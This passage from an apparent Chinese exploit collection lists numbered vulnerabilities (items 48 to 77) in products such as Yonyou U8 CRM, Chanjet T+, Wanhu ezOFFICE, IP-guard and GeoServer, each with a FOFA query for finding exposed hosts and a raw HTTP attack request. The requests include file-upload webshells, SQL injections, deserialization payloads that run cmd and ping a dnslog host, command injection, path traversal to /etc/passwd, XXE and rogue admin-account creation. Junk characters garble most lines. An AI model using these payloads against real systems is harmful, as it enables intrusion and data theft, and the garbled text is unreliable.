' s" p1 ~, R' G- ?7 DCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
9 x5 i8 T0 @: A2 v2 r% MAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
- M8 Y& O# r. [+ ^9 `4 ]If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
# p3 P1 T- h& V' ^: G6 y
) d' U1 C( R1 J

1 K5 [" \& c6 p/ {/ G$ \48. 用友U8 CRM swfupload 任意文件上传
* G% x3 N: K0 L5 `FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
7 [5 E8 j( v7 j  _7 o+ {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ P, y) v: X* q, e5 K. ZAccept-Encoding: gzip, deflate
7 A, f# I4 G; OContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
------269520967239406871642430066855
! d3 P; [! a0 g  Z1 v5 j& XContent-Disposition: form-data; name="file"; filename="s.php"
, l# z  s8 l" e1231
Content-Type: application/octet-stream
------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
9 k/ g, A' x  Cupload
5 H, b+ m) U; `& V------269520967239406871642430066855--


& G  F0 Z* U# y: H49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
5 @  @  l* B1 C) n" y# k
7 N2 J2 c5 u- X+ t' f+ o# X& `) h2 TPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
$ M  t6 o/ s/ v% y% Q9 `  VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
, U8 l/ `( q& j" {Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
' g; b( \; V) ?/ aAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

6 W5 s5 z  `, W-----------------------------vvv3wdayqv3yppdxvn3w
% G( M# N7 d; P* aContent-Disposition: form-data; name="file"; filename="%s.php "
- E  G" ]. S. A/ AContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
# o3 Q0 _% n2 E& a5 Y" _Content-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--
, o% I! Y# |8 ~) q; K7 l( n& O
2 s  R* l: }: S" x5 J' @. o" w
http://x.x.x.x/tmpfile/updB3CB.tmp.php

50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
! t3 R& S" h7 pPOST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
5 @4 @4 u: Z# w2 |Content-Length: 224
7 y4 O8 Y" a# j, W1 p. a9 YAccept: */*
4 O0 a* Z- q3 l& K( GAccept-Language: en
; X6 L; p2 x: z& g! }( F3 g0 P+ [Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
" k& I* M' N( e: Z0 d
searchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1
) r/ P$ E8 c) }7 f/ {( d

$ o6 `$ b) k3 ^/ s* S( |51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
( z. n' t' o" C# ?' O, F/ Y0 \5 J8 mGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
: i- X: j4 d5 R( M* ?2 pHost: your-ip
/ f4 r- ?; d. O' k& m# rUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


6 [* q2 k. J: k2 ]# v: C52. 泛微E-Office json_common.php sql注入
1 J3 K. [1 c$ T  N4 c8 YFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
7 _  `1 ~, Z( m) f0 c3 e' p9 GConnection: close
Content-Length: 87
Accept: */*
4 E# b& T! i( l! c) j4 Q. ^# jAccept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

tfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
( E& |( N( Y- q* y

" y4 n! G: k; t* G' b- U53. 迪普 DPTech VPN Service 任意文件上传
' `) h5 z) |% q8 gFOFA：app="DPtech-SSLVPN"
/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

0 T- M# B7 l5 a8 \* O
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
: l+ a4 W& O% h$ C4 X
' \. ]8 @5 H# ^0 c9 h/ i! a# n/ l
- i# \5 {0 E% q9 b. f- p% e% E! N完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
5 x8 }- b) P4 z% @Content-Length: 593

  ^: u. S& M" F# {{
"storeID":{
! H# e  K6 [( q "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
6 S7 n8 ?7 R. g/ n; L. R "MethodName":"Start",
  Z9 U) D$ Q6 M0 ^' F  "ObjectInstance":{
+ _9 L% Q2 D9 H7 J5 ]   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
& Z4 g2 r& Q" [, P9 p& ]2 s, V: L    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
7 @% X3 b9 U) T+ q9 R    "FileName":"cmd",
3 b# {1 n' `/ u1 W' ^    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
  E% Q/ \' n+ h    }
  }
' ~6 \4 V$ c7 n1 y8 S  }
}
7 y# D0 u* j9 M* r  F
3 _3 l/ ^+ S: b& r5 S
, b- |. T4 V0 }6 h第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
0 E3 ]6 l( Q% }- _' g" ^

/ f1 Z$ h" |2 d55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
8 s" [1 ]) o" k6 }" `& ~2 j第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
9 I9 K- N2 w. C$ P第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

/ X/ k! _* J% ]& H& R7 c1 l$ E7 l56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
" T$ R2 @, o  J6 Y0 g, W8 `FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
! _; ]2 i! g$ wHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

, j: _( v1 V& u$ s  K# N  l{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
- a& z. W2 e9 p  e! Z" R2 M1 ^# f   "MethodName":"Start",
2 P, d4 S: K  Y    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
: G0 T5 b6 e5 b2 F8 `. d$ @! N           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
/ z. y9 [' M$ v9 |% ~6 q( k4 ^; e2 e       }
; s5 X# R# w: X    }
& X$ `( C( M$ G6 W1 J- H1 u3 o  }
}
0 [8 ~0 Z9 M% V% G" Y- G# I5 T
' ]" f; i1 A1 c7 f
) m1 Z) Z. s' A1 e57. 畅捷通T+ keyEdit.aspx SQL注入
FOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
  h0 G1 A9 E# H" M8 [User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
8 d# ^' Z' @) K8 ^9 @. G5 u! e- tAccept-Encoding: gzip, deflate
Connection: close

$ U) d* ?9 m- y5 K! a
58. 畅捷通T+ KeyInfoList.aspx sql注入
! y* n  ]* q" f, ]1 gFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
8 M: {0 P* o$ R0 P9 W# p2 h/ p- m; ?Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close
" k) J) `' F  x; ~' A( K- ^: o

59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
* J. j$ e6 E& m! t( zFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
+ A2 J. ~2 b7 Q  I2 t) oPOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
* a  J/ y; n+ X( g& A! G4 ?Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Content-Length: 1669
4 M# X; j$ P# ^# M# L2 XAccept: */*
6 }# c8 n. ?3 ^: u, }9 XAccept-Language: en
Content-Type: application/x-www-form-urlencoded
( U/ p- Z2 }2 U( \% G0 R9 WAccept-Encoding: gzip
" k% W+ {" D1 i
PAYLOAD
: U; l, i& V. ~
: ^1 e7 Z2 r; g, L3 Z6 ?- e4 Y0 f  H
1 Z3 Q' f6 b' p0 F+ b60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
% i3 D# y4 }# j2 CGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
1 j9 v% Q) J* s9 E1 I4 IHost:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
! n3 q% W% d8 k( KAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
8 G6 c) `. f, f# EAccept-Encoding: gzip, deflate
' r  z% k2 `9 b7 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
$ v5 k/ w# |, `! T
  {( v3 w( C5 d; J% |6 [
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
+ m& D% k& Z) g; GFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
) u8 x) {3 _  Q0 ]% m  c( \Host: x.x.x.x
0 o2 e, f8 g$ e5 T  k& EUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
+ A- k  Z( x5 L  J8 p/ p1 u; \Connection: close
, r$ V$ _" k5 L9 G8 Y# y! W7 x, l0 |7 ^Content-Length: 27
2 ^- j, }  i/ q5 t* h8 V% X4 bAccept: */*
Accept-Encoding: gzip, deflate
) e$ O1 D& E" W  gAccept-Language: en
. d: s% w! b4 N9 P  \! C9 aContent-Type: application/x-www-form-urlencoded

8uxssX66eqrqtKObcVa0kid98xa

  `0 a  J  E6 |8 |. N' d
: W6 F6 F8 L- a62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
GET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
' X9 K8 z) A/ |. G% b2 BConnection: close
* n, C, B, r* T, B. fAccept: */*
! D4 A" Q- i' @3 z7 ]) F, tAccept-Language: en
2 P" V) t; U/ gAccept-Encoding: gzip
+ t; _4 R# |. C5 G! P
4 J- I; T0 w% p* p
访问
; A" |9 p7 G9 I3 B
GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
* O  o; j1 j9 T/ f( q. K2 L
* |$ m( e! V, u& ?8 n: [$ m  K% v
+ Y1 n, n3 w; L0 z) L  V$ [, I! d63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
4 C: d1 S: w! w& N% ]; c) ]POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
! U( V6 |/ }6 J. L/ f8 P" YUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
" Z; B$ @3 b9 A' j4 X1 }Accept-Language: zh-CN,zh;q=0.9
/ Z4 H. x  u  ~Connection: close
Content-Type: application/x-www-form-urlencoded

' r" ^3 [8 |# B4 V5 d9 ]path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
" P* r  p6 |7 X: w. E# VHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
Connection: close
Content-Length: 369
6 W% T% C: t) x- [: |Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip
0 m  Y, b; S2 q/ ]4 D. _. J, N
6 G" _) ]! J& D# i6 j, @<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
& j, B+ v, J. Y. T; F/ I, l    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
* U' I' E! ~! M9 t) ~3 q7 W</soap:Envelope>

$ z; A) B  _* \+ d! J
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
0 S0 j( b" E( R3 M响应200即成功创建账号test123456/123456
4 z% S5 u, S- \9 WPOST /SystemMng.ashx HTTP/1.1
Host:
, b! W- e) n  dUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
' d1 B5 X' o4 U3 D2 M$ T  z% ]Accept-Encoding: gzip, deflate
Accept: */*
- |+ ]. g4 X) yConnection: close
0 X) d/ U. j  S: S* O4 KAccept-Language: en
Content-Length: 174

operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


! d0 F" A. f" D* E66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

: E2 l# b- x* wGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
6 g& ^1 a# V2 h1 gHost: x.x.x.x
+ o6 k, Q5 ?  FUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
; G7 O- t+ D+ D6 F: d0 @: UAccept: */*
$ @' ^, L) h) t* g/ v! T4 u1 c8 E3 VAccept-Language: en
Accept-Encoding: gzip
# A, Z! G# P* t7 x0 a7 Y4 l
8 T9 C7 m+ d7 [! N6 k
- B/ v' L, M( Y5 W/ `第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

9 E: t9 q9 Y' U5 Q7 v- N+ G% N8 J6 n67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
& e& L  t9 }# m. j0 f* |newdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
$ G( `8 h- ]' W  H! x* m' pPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
6 i5 L' U8 Y( _8 K) OAccept-Encoding: gzip, deflate
2 N( R5 K: d/ f; zAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
: _/ ^( G6 O, b: Z  W# h5 nConnection: close
3 C# w/ Y! w( v$ Z" y; rContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1

--ufuadpxathqvxfqnuyuqaozvseiueerp
% B4 z  O! l1 F; k/ dContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"

# w- V) g+ s; b6 Z<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
1 G7 v- v0 O# ?! r, _. c; N- i; A# h

7 _0 T+ C6 Y8 b% B: S文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

68. 万户ezOFFICE wf_printnum.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
+ G( h, T- V" }- x3 ~- P% RGET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host: {{host}}
4 g2 f7 ^- Y9 U) nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


69. 万户 ezOFFICE contract_gd.jsp SQL注入
. o$ }9 _9 b; t1 y9 I) I3 ~FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
3 A' _, Q* r2 ^" R2 a+ U) H/ _: iUser-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
' k+ n8 `' g! D, C* S8 RAccept-Encoding: gzip, deflate
8 t0 ]: w2 j9 HAccept: */*
4 s0 M# x4 y2 b% hConnection: keep-alive
1 X3 c9 ?; G* d( D2 y+ `

  h* H0 m/ |3 r8 u1 M70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
& a  w$ g2 W( t+ J# x* G, `POST /member/success.aspx HTTP/1.1
- u) X5 M" b4 C4 [* pHost: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
6 \  ?6 E" g9 i) K2 E9 gContent-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD
+ V: w! h2 p1 S8 a2 i
1 J  r( T& R8 W8 d* [
! G# \% |9 D0 z# p7 t71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
/ J7 y: L& j2 cGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
8 l% A0 |& H1 M. F: |) FHost: x.x.x.xx.x.x.x
, N' Q0 U! U9 OUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
1 T2 X6 h2 g' j; `8 }# |  r& |4 QConnection: close
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
/ @! K, D& Z+ r! ^! Q; NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
9 U. A4 I( W3 B) ~9 |

72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
7 H* W& J9 [2 j( B' {. S5 L  J0 ^POST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
. W4 ^7 o, o. S- {  U" w6 {1 ^- RUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E


0 P8 d4 s: E3 M1 e9 h3 w73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
POST /geoserver/wms HTTP/1.1
- d, f* n0 o6 [4 ~Host:
0 o% |! [* D" b9 w, lUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
" S3 h% W( m+ c  @% Z9 ~Connection: close
- v& l+ U4 J% F$ K, W. {0 @: w* lContent-Type: application/xml
SL-CE-SUID: 3

4 R( O7 b+ j6 l  c/ ?; V$ QPAYLOAD
. x/ i1 a) H0 \8 N. }

74. 致远M3-server 6_1sp1 反序列化RCE
FOFA：title="M3-Server"
PAYLOAD
  {% e: r4 [# x8 s
( P8 \4 `( z9 U$ ]: j1 U% @75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
FOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
2 p3 J: H( w& ?- A7 z8 n! N8 eHost: x.x.x.x
5 u, \, I, u) W3 P! xUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
+ v7 D5 @# N7 G) \$ v0 p2 lConnection: close
9 l- f; p( p* p. AAccept: */*
. z& p4 Z/ Q& t7 H* BAccept-Language: en
Accept-Encoding: gzip
+ Z; n8 N. @! Y
8 }: I* c/ X( N) S6 ?
5 Q, S& d4 z3 {6 e/ s5 u8 d/ c( BGET /cgi-bin/test28256.txt HTTP/1.1
0 n7 W/ T3 U$ x; b/ DHost: x.x.x.x
# n" [2 S* [. h; X: u# z% z. U: L
7 H, d" [+ m9 Q: L8 V# H
7 o8 ~# q' V! S- o. u9 D& c( @76. 新开普掌上校园服务管理平台service.action远程命令执行
$ p' M4 V+ Q( \* ^% U  AFOFA：title="掌上校园服务管理平台"
' S& T5 q7 @+ X- LPOST /service_transport/service.action HTTP/1.1
7 M0 y. l$ ]! y! dHost: x.x.x.x
- W8 a, G& y5 T( ]User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
Connection: close
Content-Length: 211
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. z( v, U- h5 W' j. zAccept-Encoding: gzip, deflate
3 D6 ~4 \, k% A- w8 n" Z; NAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ _' ^. F: ?' w# `) t$ U0 GCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1
. F% \" i4 m/ {' s* K& G1 u
4 {% X7 S+ `4 a6 ], W; ~3 O{
) C% q* w; T/ Z"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
9 G( |0 a9 k+ M" n; u3 |  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
/ }& V/ A5 ^1 H: T

GET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
6 S4 w0 T* b- G* ^$ ~Host: x.x.x.x



) l8 S4 X3 d6 u- t2 @77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
( x* D4 p, P* K: }2 P; K& APOST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
! R8 ^' B# v$ X/ b0 DUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
. E& b* l, a2 ZContent-Length: 433
Accept: */*
